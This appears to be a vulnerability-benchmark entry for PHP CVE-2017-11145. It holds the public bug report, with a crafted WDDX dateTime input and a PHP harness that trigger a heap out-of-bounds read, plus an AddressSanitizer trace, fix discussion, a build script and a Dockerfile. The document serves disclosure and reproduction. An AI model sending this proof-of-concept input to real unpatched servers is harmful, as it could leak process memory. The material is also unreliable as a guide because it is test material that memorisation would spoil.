Project: php-src (php/php-src), language: c++
Vulnerability instance: php.cve-2017-11145
Sanitizer: address

================= Bug Report (1/1) ==================
## Source: PHP Bugs
## URL: https://bugs.php.net/bug.php?id=74819
## Description:
PHP Bug ID: 74819
Summary: wddx_deserialize() heap out-of-bound read via php_parse_date()
Status: Closed
PHP Version: 7.1.6
Assigned: stas (profile)
CVE-ID: 2017-11145

Description:
Description:
------------
While deserializing an invalid dateTime value, wddx_deserialize() would result in a heap out-of-bounds read in timelib_meridian(). As wddx_deserialize() is exposed to network data, and sometimes echo the results back to client, this issue could potentially allow remote peeking of the process memory. It should also affect other PHP APIs that make use of timelib_meridian().

Reproduced on both php-7.1.6 and php-5.6.30, tested on 32-bit builds, with ASAN enabled and USE_ZEND_ALLOC set to 0.

Configuration:
CC="`which gcc`" CFLAGS="-O0 -g -fsanitize=address" ./configure --prefix="`pwd`/../php7_wddx" --disable-shared --enable-wddx

Reproducer:
$ cat repro.wddx 
<?xml version='1.0'?>
<!DOCTYPE wddxPacket SYSTEM 'wddx_0100.dtd'>
<wddxPacket version='1.0'>
<header/>
 <data>
         <struct>
                    <var name='aDateTime'>
                         <dateTime>I06.00am 0</dateTime>
                     </var>
                </struct>
 </data>
</wddxPacket>



Test script:
---------------
$ cat wddx.php 
<?php
$argc = $_SERVER['argc'];
$argv = $_SERVER['argv'];

$dir_str = dirname(__FILE__);
$file_str = ($dir_str)."/".$argv[1];

if (!extension_loaded('wddx')) print "wddx not loaded.\n";

$wddx_str = file_get_contents($file_str);
print strlen($wddx_str) . " bytes read.\n";
var_dump(wddx_deserialize($wddx_str));
?>

Expected result:
----------------
No Crash

Actual result:
--------------
$ export USE_ZEND_ALLOC=0

$ ../../php7_wddx/bin/php wddx.php repro.wddx 
307 bytes read.
=================================================================
==13293== ERROR: AddressSanitizer: heap-buffer-overflow on address 0xb57057fa at pc 0x809b0f4 bp 0xbfb9c788 sp 0xbfb9c77c
READ of size 1 at 0xb57057fa thread T0
    #0 0x809b0f3 in timelib_meridian /home/weilei/php-7.1.6/ext/date/lib/parse_date.c:410
    #1 0x80af10b in scan /home/weilei/php-7.1.6/ext/date/lib/parse_date.c:5230
    #2 0x80f3822 in timelib_strtotime /home/weilei/php-7.1.6/ext/date/lib/parse_date.c:24098
    #3 0x806afbd in php_parse_date /home/weilei/php-7.1.6/ext/date/php_date.c:1455
    #4 0x8a2fea7 in php_wddx_process_data /home/weilei/php-7.1.6/ext/wddx/wddx.c:1075
    #5 0x8a4489a in _cdata_handler /home/weilei/php-7.1.6/ext/xml/compat.c:265
    #6 0xb5d0a6b5 in xmlParseCharData__internal_alias /home/weilei/libxml2/parser.c:4597
    #7 0xb5d5c9be in xmlParseTryOrFinish /home/weilei/libxml2/parser.c:11715
    #8 0xb5d64462 in xmlParseChunk__internal_alias /home/weilei/libxml2/parser.c:12454
    #9 0x8a46705 in php_XML_Parse /home/weilei/php-7.1.6/ext/xml/compat.c:600
    #10 0x8a30293 in php_wddx_deserialize_ex /home/weilei/php-7.1.6/ext/wddx/wddx.c:1109
    #11 0x8a32cb3 in zif_wddx_deserialize /home/weilei/php-7.1.6/ext/wddx/wddx.c:1327
    #12 0x8de0fb6 in ZEND_DO_ICALL_SPEC_RETVAL_USED_HANDLER /home/weilei/php-7.1.6/Zend/zend_vm_execute.h:675
    #13 0x8ddb38a in execute_ex /home/weilei/php-7.1.6/Zend/zend_vm_execute.h:429
    #14 0x8ddcaf0 in zend_execute /home/weilei/php-7.1.6/Zend/zend_vm_execute.h:474
    #15 0x8c35c00 in zend_execute_scripts /home/weilei/php-7.1.6/Zend/zend.c:1476
    #16 0x8a634e4 in php_execute_script /home/weilei/php-7.1.6/main/main.c:2537
    #17 0x90f9d1b in do_cli /home/weilei/php-7.1.6/sapi/cli/php_cli.c:993
    #18 0x90fc5f6 in main /home/weilei/php-7.1.6/sapi/cli/php_cli.c:1381
    #19 0xb5b03a82 (/lib/i386-linux-gnu/libc.so.6+0x19a82)
    #20 0x8065200 in _start (/home/weilei/php7_wddx/bin/php+0x8065200)
0xb57057fa is located 0 bytes to the right of 10-byte region [0xb57057f0,0xb57057fa)
allocated by thread T0 here:
    #0 0xb61b2854 (/usr/lib/i386-linux-gnu/libasan.so.0+0x16854)
    #1 0x8b76d40 in __zend_malloc /home/weilei/php-7.1.6/Zend/zend_alloc.c:2820
    #2 0x8b73e5f in _emalloc /home/weilei/php-7.1.6/Zend/zend_alloc.c:2413
    #3 0x8b74aaa in _safe_emalloc /home/weilei/php-7.1.6/Zend/zend_alloc.c:2472
    #4 0x8b75005 in _ecalloc /home/weilei/php-7.1.6/Zend/zend_alloc.c:2495
    #5 0x809b85c in timelib_string /home/weilei/php-7.1.6/ext/date/lib/parse_date.c:460
    #6 0x80ae9dd in scan /home/weilei/php-7.1.6/ext/date/lib/parse_date.c:5214
    #7 0x80f3822 in timelib_strtotime /home/weilei/php-7.1.6/ext/date/lib/parse_date.c:24098
    #8 0x806afbd in php_parse_date /home/weilei/php-7.1.6/ext/date/php_date.c:1455
    #9 0x8a2fea7 in php_wddx_process_data /home/weilei/php-7.1.6/ext/wddx/wddx.c:1075
    #10 0x8a4489a in _cdata_handler /home/weilei/php-7.1.6/ext/xml/compat.c:265
    #11 0xb5d0a6b5 in xmlParseCharData__internal_alias /home/weilei/libxml2/parser.c:4597
    #12 0xb5d5c9be in xmlParseTryOrFinish /home/weilei/libxml2/parser.c:11715
    #13 0xb5d64462 in xmlParseChunk__internal_alias /home/weilei/libxml2/parser.c:12454
    #14 0x8a46705 in php_XML_Parse /home/weilei/php-7.1.6/ext/xml/compat.c:600
    #15 0x8a30293 in php_wddx_deserialize_ex /home/weilei/php-7.1.6/ext/wddx/wddx.c:1109
    #16 0x8a32cb3 in zif_wddx_deserialize /home/weilei/php-7.1.6/ext/wddx/wddx.c:1327
    #17 0x8de0fb6 in ZEND_DO_ICALL_SPEC_RETVAL_USED_HANDLER /home/weilei/php-7.1.6/Zend/zend_vm_execute.h:675
    #18 0x8ddb38a in execute_ex /home/weilei/php-7.1.6/Zend/zend_vm_execute.h:429
    #19 0x8ddcaf0 in zend_execute /home/weilei/php-7.1.6/Zend/zend_vm_execute.h:474
    #20 0x8c35c00 in zend_execute_scripts /home/weilei/php-7.1.6/Zend/zend.c:1476
    #21 0x8a634e4 in php_execute_script /home/weilei/php-7.1.6/main/main.c:2537
    #22 0x90f9d1b in do_cli /home/weilei/php-7.1.6/sapi/cli/php_cli.c:993
    #23 0x90fc5f6 in main /home/weilei/php-7.1.6/sapi/cli/php_cli.c:1381
    #24 0xb5b03a82 (/lib/i386-linux-gnu/libc.so.6+0x19a82)
SUMMARY: AddressSanitizer: heap-buffer-overflow /home/weilei/php-7.1.6/ext/date/lib/parse_date.c:410 timelib_meridian
Shadow bytes around the buggy address:
  0x36ae0aa0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x36ae0ab0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x36ae0ac0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x36ae0ad0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x36ae0ae0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
=>0x36ae0af0: fa fa fd fa fa fa fd fa fa fa fd fa fa fa 00[02]
  0x36ae0b00:fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x36ae0b10: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x36ae0b20: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x36ae0b30: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x36ae0b40: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
Shadow byte legend (one shadow byte represents 8 application bytes):
  Addressable:           00
  Partially addressable: 01 02 03 04 05 06 07 
  Heap left redzone:     fa
  Heap righ redzone:     fb
  Freed Heap region:     fd
  Stack left redzone:    f1
  Stack mid redzone:     f2
  Stack right redzone:   f3
  Stack partial redzone: f4
  Stack after return:    f5
  Stack use after scope: f8
  Global redzone:        f9
  Global init order:     f6
  Poisoned by user:      f7
  ASan internal:         fe
==13293== ABORTING
Aborted

$ ../php7_wddx/bin/php --version
PHP 7.1.6 (cli) (built: Jun 27 2017 12:59:32) ( NTS )
Copyright (c) 1997-2017 The PHP Group
Zend Engine v3.1.0, Copyright (c) 1998-2017 Zend Technologies

Comments:

[Comment 1] [2017-07-02 21:46 UTC] stas@php.net
The bug seems to be in timelib, not wddx, though not sure if it's triggerable from outside wddx. May be possible.

[Comment 2] [2017-07-02 22:01 UTC] stas@php.net
The fix is in security repo as 0d25fae279caf240340fb6805a9c54c20154db95 and in https://gist.github.com/bd77ac90d3bdf31ce2a5251ad92e9e75

Please verify.
Links: https://gist.github.com/bd77ac90d3bdf31ce2a5251ad92e9e75

[Comment 3] [2017-07-03 03:11 UTC] l dot wei at ntu dot edu dot sg
Patch works for all the crash repros I have, on a 32-bit build of PHP-7.1.6. 

I have not found other triggers other than wddx so far.

[Comment 4] [2017-07-03 03:17 UTC] l dot wei at ntu dot edu dot sg
Please attribute the finding to:

Wei Lei and Liu Yang of Nanyang Technological University

Thanks.

[Comment 5] [2017-07-05 02:28 UTC] stas@php.net
Reclassifying since it's actually timelib issue.

[Comment 6] [2017-07-05 04:16 UTC] stas@php.net
The fix for this bug has been committed.

Snapshots of the sources are packaged every three hours; this change
will be in the next snapshot. You can grab the snapshot at
http://snaps.php.net/.

 For Windows:

http://windows.php.net/snapshots/
 
Thank you for the report, and for helping us make PHP better.
Links: http://snaps.php.net/, http://windows.php.net/snapshots/

[Comment 7] [2017-07-13 05:42 UTC] fernando at null-life dot com
So... this looks like a duplicate of the bug I reported last year and has been on hold since then.

Sec Bug #72959 timelib_meridian out-of-bounds access
Submitted: 2016-08-28 22:32 UTC Modified: 2016-09-06 00:55 UTC 
From: fernando at null-life dot com Assigned: derick

This sucks
Links: https://bugs.php.net/bug.php?id=72959

[Comment 8] [2017-07-31 09:40 UTC] stackexploit at gmail dot com
Looks like it's a duplicate of https://bugs.php.net/bug.php?id=73109
I reported #73109 almost 1 year ago, and I claimed that the patch you supplied was insufficient. So why you choose to ignore it?
Links: https://bugs.php.net/bug.php?id=73109

Commit References:
0d25fae279caf240340fb6805a9c54c20154db95

Build script:
#!/bin/bash -eu
# Minimized build script with only core build commands
set -eu
./buildconf --force
./configure \
        --enable-option-checking=fatal \
        --disable-libxml \
        --disable-dom \
        --disable-simplexml \
        --disable-xml \
        --disable-xmlreader \
        --disable-xmlwriter \
        --without-pear \
        --enable-exif \
        --disable-phpdbg \
        --disable-cgi
make -j$(nproc)

Dockerfile:
FROM hwiwonlee/secb.base:latest
RUN apt-get update && apt-get install -y make autoconf automake libtool bison re2c make ca-certificates curl xz-utils dpkg-dev file libc-dev pkg-config libcurl4-openssl-dev libedit-dev libsqlite3-dev libssl-dev zlib1g-dev
RUN git clone https://github.com/php/php-src php-src
RUN git -C php-src checkout fb59213fc461f079bc218abf44cb5e2b4db2182c
WORKDIR $SRC/php-src
COPY build.sh $SRC/

Additional files: